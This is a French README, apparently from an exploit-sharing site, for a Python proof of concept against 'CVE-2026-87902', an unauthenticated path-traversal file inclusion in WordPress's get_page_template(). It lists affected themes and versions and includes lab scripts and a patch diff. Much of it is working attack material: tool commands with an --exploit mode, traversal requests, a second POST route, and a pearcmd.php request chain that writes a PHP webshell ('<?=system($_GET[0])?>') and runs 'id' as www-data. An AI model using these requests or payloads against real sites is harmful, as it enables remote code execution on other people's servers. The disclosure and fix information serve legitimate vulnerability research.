PoC Python pour CVE-2026-87902, une RCE par traversée de chemin non authentifiée dans WordPress via get_page_template(), avec empreinte de version, vérifications de thème et inclusion de fichier optionnelle.
la charge utile. WP_Query la fait passer par sanitize_title_for_query(), qui réécrit un point littéral en tiret mais préserve les octets encodés en pourcentage. get_page_template() appelle ensuite urldecode() pour décoder le résultat en chemin
page_id
n'importe quelle page publiée, afin que la requête corresponde à un article au lieu de renvoyer un 404. Sans lui, le modèle de page n'est jamais chargé
Le cœur construit page-{urldecode($pagename)}.php et le résout par rapport au répertoire de la feuille de style. L'encodage est nécessaire : sanitize_title_for_query() réécrit un .. littéral en -.
Préconditions
#
Condition
Pourquoi
1
le thème actif fournit un répertoire page-* de premier niveau
le nom est page-{payload}.php, donc son premier segment doit se résoudre sur le disque
2
une page publiée qui n'est ni la page d'accueil ni la page des articles
is_front_page et is_home sont essayés avant is_page
3
le fichier cible se termine par .php
le cœur ajoute l'extension
Aucun contenu téléversé, aucune modification de la configuration du site, du thème ou du cœur.
Les 26 thèmes affectés appellent tous le répertoire page-templates. poc.py prend le nom depuis themes.json, suppose page-templates pour un thème qui n'y figure pas, et --root le remplace par une liste séparée par des virgules.
Les hôtes Windows écartent la précondition 1. Win32 annule .. lexicalement, donc un segment qui n'existe pas est tout de même annulé par le .. qui le suit.
Chemin
Résultat
C:\...\wordpress\page-nothing\..\README.md
existe
C:\...\wordpress\page-nothing\README.md
n'existe pas
Testé avec os.stat sur Windows 11, qui utilise la même gestion des chemins Win32 que file_exists() de PHP. WordPress lui-même n'a pas été exécuté sous Windows.
Utilisation
Vérification, le mode par défaut
Identifie le thème et les deux versions, puis demande si le répertoire page-* existe. Rien n'est inclus ni exécuté.
root@kitploit:~
python3 poc.py --target https://example.com
root@kitploit:~
1 GET / 200 WordPress 7.1.1, theme neve
2 GET /wp-content/themes/neve/style.css 200 neve 4.2.11
3 GET /wp-content/themes/neve/page-templates/ 403 refused, which on its own establishes nothing
4 GET /wp-content/themes/neve/page-e464e285/ 404 the control is absent, so the refusal was about existence: the directory is there
────────────────────────────────────────────────────────────────────────────
result neve ships page-templates, core 7.1.1
next rerun with --exploit to make the target prove it
Réponse sur page-<root>/
Lecture
200
le répertoire est là et liste
404
aucun répertoire de ce type
403
non concluant, donc une requête de contrôle pour page-<8 random hex>/ suit
403 puis contrôle 404
le refus portait sur l'existence, le répertoire est là
403 puis contrôle refusé
le serveur rejette tout ce qu'on lui demande, sortie 4
Affecté exige les deux : le répertoire existe, et la version est inférieure ou égale à 7.1.1.
Exploitation
Exécute d'abord la vérification, puis inclut le fichier sauf si la vérification a écarté la cible.
5 GET /?rest_route=/wp/v2/pages 200 1 published page
6 GET /?page_id=2&pagename=page-templates/../../ 200 1368 bytes, not the theme's page [page-templates, page_id 2]
────────────────────────────────────────────────────────────────────────────
result wp-admin/install.php ran: WordPress › Installation
Un modèle de thème rendu référence toujours /wp-content/themes/ via wp_head(), un fichier inclus depuis l'extérieur du thème non. C'est la règle de verdict.
Options
Option
Défaut
Effet
--target URL
requis
déploiement à tester
--exploit
désactivé
inclure un fichier après la vérification
--include PATH
wp-admin/install.php
le .php à inclure. Les chemins relatifs se résolvent depuis la racine WordPress, les chemins absolus remontent avec --depth
--depth N
7
sauts ../ pour un --include absolu
--root NAME[,NAME]
depuis themes.json
les répertoires page-* à essayer, sans le préfixe page-
--page-id ID
découvert
ignorer la découverte de page
--theme SLUG
découvert
ignorer la recherche du thème
--theme-version V
découvert
ignorer la recherche de la version du thème
--no-version
désactivé
ne faire aucune requête dont le seul but est d'apprendre une version
--core-json PATH
core.json
empreintes des versions, lues uniquement quand rien n'a divulgué de version
--trace
désactivé
afficher chaque échange
--json
désactivé
un seul objet JSON, rien d'autre
--yes
désactivé
ignorer la confirmation
Code
Vérification
Exploitation
0
affecté
un .php hors du thème a été inclus
1
non affecté
non inclus
2
pas de réponse, ou la réponse n'est pas WordPress
idem
3
usage, ou refus à la confirmation
idem
4
non concluant, voir les cas 403 et 7.1.x
non utilisé
Le --include par défaut est wp-admin/install.php : dans tous les WordPress, sortie sans ambiguïté, ne change rien.
Les certificats TLS ne sont pas vérifiés. Les certificats expirés, auto-signés et dont le nom d'hôte ne correspond pas sont acceptés.
Empreinte de version
Essayées dans l'ordre, en s'arrêtant à la première qui répond.
Source
Coût
Sur 7.1.1
méta generator sur la page d'accueil
gratuit
version exacte
?ver= sur un actif /wp-includes/
gratuit
version exacte
/?feed=rss2
1 requête
version exacte
/wp-links-opml.php
1 requête
version exacte
sha256 d'un actif servi comparé à core.json
1 requête
l'ensemble des versions livrant ces octets
core.json couvre les 112 versions publiées et 7.1.2, quatre actifs chacune. Les croiser nomme 9 versions exactement et laisse une médiane de 4 candidats. Affecté exige que chaque candidat soit inférieur ou égal à 7.1.1.
7.1.1 et 7.1.2 ne peuvent pas être distingués de l'extérieur. Les trois fichiers qui diffèrent sont wp-admin/about.php, wp-includes/template.php et wp-includes/version.php, aucun d'eux n'étant servi. Un site 7.1.x qui masque sa version obtient la sortie 4.
Thèmes
Les 200 thèmes les plus installés sur wordpress.org. 26 fournissent un répertoire page-* et sont affectés, soit ensemble 765 500 des 9 027 090 installations actives. Les 174 autres échouent à la précondition 1.
Thème
Version
Installations
page-*
Statut
Confirmé
neve
4.2.11
200,000
page-templates
🔴 affecté
lab
sydney
2.71
80,000
page-templates
🔴 affecté
lab
hestia
3.3.6
70,000
page-templates
🔴 affecté
lab
inspiro
2.2.3
60,000
page-templates
🔴 affecté
survey
colibri-wp
1.0.169
50,000
page-templates
🔴 affecté
survey
twentyfourteen
4.6
50,000
page-templates
🔴 affecté
lab
twentytwelve
4.9
50,000
page-templates
🔴 affecté
lab
colormag
4.2.5
40,000
page-templates
🔴 affecté
lab
zakra
4.3.3
30,000
page-templates
🔴 affecté
survey
spacious
1.9.12
20,000
page-templates
lab signifie testé de bout en bout avec poc.py contre une image standard, survey signifie que le répertoire a été lu depuis l'archive du thème et que le thème n'a pas été déployé.
Testés et non affectés, aucun d'eux ne portant de répertoire page-* : astra, kadence, twentysixteen, twentyseventeen, twentytwentythree, twentytwentyfive.
front-page.php, fourni par hestia, neve et d'autres, ne change pas l'affectation. Il exclut seulement l'ID de la page d'accueil pour la requête.
Versions
Version
Thème par défaut de l'image
Avec un thème affecté
Confirmé
7.1.2
🟢 non affecté, twentytwentyfive
🟢 non affecté, neve
lab
7.1.1
🟢 non affecté, twentytwentyfive
🔴 affecté, neve
lab
7.1.0
🟢 non affecté, twentytwentyfive
🔴 affecté, neve
lab
7.0.4
🟢 non affecté, twentytwentyfive
🔴 affecté, neve
lab
6.8.3
🟢 non affecté, twentytwentyfive
🔴 affecté, neve
lab
6.1.0
🟢 non affecté, twentytwentythree
🔴 affecté, twentytwelve
lab
4.9.8
🟢 non affecté, twentyseventeen
🔴 affecté, twentytwelve
lab
les 105 autres versions
non mesuré
non mesuré
non mesuré
Version du thème
pas une précondition, le répertoire page-* l'est. neve 4.2.11 a été utilisé sur 6.8.3 et au-dessus, twentytwelve 4.9 sur les deux cœurs plus anciens
7.1.2
aucune image publiée. Testé avec lab/run.py --core 7.1.2, qui applique l'archive de version officielle par-dessus 7.1.1-apache
Prêt à l'emploi
aucune version depuis la 4.1 n'est affectée. twentyfifteen à twentytwentyfive ne portent aucun répertoire page-*. twentyfourteen et twentytwelve en portent, et étaient les thèmes par défaut des 3.8 à 4.0 et de la 3.5, pour lesquelles aucune image n'est publiée
Non récupérable
15 des 112 tags publiés : 14 plus anciens que 4.5.3-apache utilisent un manifeste v1 que containerd 2.1 rejette, et 4.5.3-apache a une couche que le registre ne peut pas servir
Variantes PHP publiées par version, qui décident de l'escalade ci-dessous :
Versions de WordPress
Variantes PHP publiées en -apache
4.1.x à 4.5.x
aucune, tag simple uniquement, 5.6
4.6.x à 5.0.x
5.67.07.17.27.3
5.1.x à 5.5.x
7.17.27.37.4
5.6.x à 6.0.x
7.27.37.48.08.1
6.1.x à 6.6.x
7.48.08.18.28.3
6.7.x
8.18.28.38.4
6.8.x et 6.9.x
8.18.28.38.48.5
7.0.x et 7.1.x
8.28.38.48.5
PHP et escalade
L'inclusion de fichier réussit sur les quatre images et pearcmd.php est présent dans chacune. L'exécution de commandes via le gadget nécessite register_argc_argv activé, ce que l'image php8.5 désactive.
Image
PHP
register_argc_argv $_SERVER['argv']
RCE via pearcmd.php
Confirmé
7.1.1-php8.2-apache
8.2.33
Activé, peuplé
🔴 uid=33(www-data)
lab
7.1.1-apache
8.3.33
Activé, peuplé
🔴 uid=33(www-data)
lab
7.1.1-php8.4-apache
8.4.25
Activé, peuplé
🔴 uid=33(www-data)
lab
7.1.1-php8.5-apache
8.5.10
Désactivé, null
🟢 non atteint
lab
Lu via apache2handler, pas la CLI, qui force l'activation du paramètre. Les deux requêtes derrière la colonne RCE :
root@kitploit:~
# 1. include the gadget, whose arguments are the query string
GET /?page_id=2&pagename=<pearcmd payload>&+config-create+/&<?=system($_GET[0])?>+/tmp/labrce.php
# 2. include what it wrote
GET /?page_id=2&pagename=<tmp/labrce payload>&0=id
-> uid=33(www-data) gid=33(www-data) groups=33(www-data)
poc.py inclut un fichier, il ne pilote pas le gadget. Atteignez-le avec --include /usr/local/lib/php/pearcmd.php --depth 7. Aucun gadget autre que pearcmd.php n'a été recherché sur l'image 8.5.
+ // wp-includes/template.php, new in 7.1.2, called by locate_template() on every candidate
+ function _wp_is_template_path_allowed( $path ) {
+ global $wp_stylesheet_path, $wp_template_path;
+
+ // A file path that exists and does not contain `..` is allowed.
+ if ( 0 === preg_match( '#(?:^|/)\.\.[. ]*(?:/|$)#', wp_normalize_path( $path ) ) ) {
+ return true;
+ }
+
+ $real_path = realpath( $path );
+ if ( false === $real_path ) {
+ return false;
+ }
+ $real_path = trailingslashit( wp_normalize_path( $real_path ) );
+
+ $directories = array(
+ $wp_stylesheet_path,
+ $wp_template_path,
+ ABSPATH . WPINC . '/theme-compat',
+ );
+ // ... plus the parent directory of a theme that lives in a subdirectory
+
+ foreach ( $directories as $directory ) {
+ $real_directory = realpath( $directory );
+ if ( false === $real_directory ) {
+ continue;
+ }
+ if ( str_starts_with( $real_path, trailingslashit( wp_normalize_path( $real_directory ) ) ) ) {
+ return true;
+ }
+ }
+ return false;
+ }
Le premier corrige la branche vulnérable, le second vérifie chaque chemin de modèle résolu, quel qu'en soit le producteur. Testé : sur 7.1.2 avec neve actif et page-templates présent, la même requête rend la propre page du thème, 55 084 octets, au lieu de l'installateur.
Une seconde route existe sur 7.1.1 et antérieurs :
root@kitploit:~
POST /
name=<front page slug>&page_id=<posts page id>&preview=true&pagename=<payload>
En quoi elle diffère
détourne WP_Query vers sa branche post_name, qui ne réécrit jamais pagename, donc un .. littéral fonctionne
Ce dont elle a besoin
un thème sans single.php, car is_single est essayé avant is_page
Testée sur
7.1.1 avec bloghash
Pourquoi elle est ici
elle survit à un correctif ne durcissant que le nettoyeur. La vérification de confinement ci-dessus la ferme aussi
Lab
root@kitploit:~
python3 lab/run.py # the pool in lab/targets.txt
python3 lab/run.py --tags 7.1.1-apache --theme [email protected] --keep
python3 lab/run.py --all --theme [email protected] --prune
python3 lab/run.py --refresh-versions # rewrite lab/versions.txt from the registry
python3 lab/themes.py # rebuild themes.json
python3 lab/core.py --also 7.1.2 # rebuild core.json
root@kitploit:~
1/9 7.1.1-apache affected 0 included twentytwelve wp-admin/install.php ran
2/9 7.1.1-apache affected 0 included hestia wp-admin/install.php ran
3/9 7.1.1-apache affected 0 included neve wp-admin/install.php ran
4/9 7.1.1-apache affected 0 included colormag wp-admin/install.php ran
5/9 7.1.1-apache affected 0 included sydney wp-admin/install.php ran
6/9 7.1.1-apache unaffected 1 not included twentytwentyfive no page-* directory
7/9 7.1.1-apache affected 0 included bloghash wp-admin/install.php ran
8/9 7.1.1-apache unaffected 1 not included kadence no page-* directory
9/9 7.1.1-apache unaffected 1 not included astra no page-* directory
Par ligne
Image
wordpress:<tag> officielle, non modifiée
Isolation
conteneur propre, port propre, base de données propre dans la MariaDB partagée
Installation
via HTTP à travers wp-admin/install.php, donc aucune version n'a besoin d'un wp-cli correspondant
État
tel que l'installateur le laisse, une page publiée, rien de téléversé
Piloté avec
poc.py --exploit, donc une ligne mesure l'inclusion et non l'apparence
Option
Défaut
Effet
--jobs N
2
lignes en parallèle
--theme SLUG[@VERSION]
aucune
installer et activer sur chaque ligne
--core VERSION
aucune
appliquer cette version officielle par-dessus le cœur de l'image, ce qui permet d'exécuter une version sans image
--keep
désactivé
laisser les instances actives, mot de passe admin affiché à la fin
--prune
désactivé
supprimer les images récupérées par cette exécution
--port-base N
8110
premier port, un par ligne, 127.0.0.1 uniquement
--db-image
mariadb:10.6
image de base de données
--timeout N
180
secondes accordées à un conteneur pour répondre
--out PATH
lab/results.json
détail par ligne
Codes de sortie : 0 chaque ligne mesurée, 1 au moins une ne l'a pas été, 2 Docker absent ou rien à exécuter, 3 usage ou refus. Une image WordPress fait 600 Mo à 1,1 Go, donc --all sans --prune représente des dizaines de Go.
.github/workflows/lab.yml exécute quatre lignes à chaque changement du PoC ou du lab, et chaque semaine : un thème affecté sur 7.1.1 et sur 6.8.3, le thème par défaut de l'image, et la variante php8.5. Chacune vérifie son code de sortie attendu.
Deux idées tirées de ce PoC, toutes deux testées ici d'abord :
Idée
Conservée
Testée
/index.php?rest_route= et /wp-json/ comme routes de repli pour le listing des pages
oui
la découverte réussit via l'une des trois
préférer une page sans modèle de page propre, puisque get_page_template() essaie ce modèle en premier
oui, comme ordre de priorité
forcer une page qui en porte un a tout de même reproduit sur 7.1.1, donc cela coûte au pire une requête
Fichiers
root@kitploit:~
poc.py the PoC, standalone, stdlib only
themes.json per-theme facts poc.py reads (generated)
core.json asset fingerprints per release (generated)
lab/run.py the lab
lab/themes.py rebuilds themes.json from the survey and the archive cache
lab/core.py rebuilds core.json from the official release archives
lab/survey.json 200 most-installed themes, their version and page-* directories
lab/targets.txt the pool lab/run.py stands up by default
lab/versions.txt 112 published releases (generated from the registry)
lab/results.json last run (ignored)
lab/.cache/ theme and release archives (ignored)
attic/ previous attempt, unwired, ignored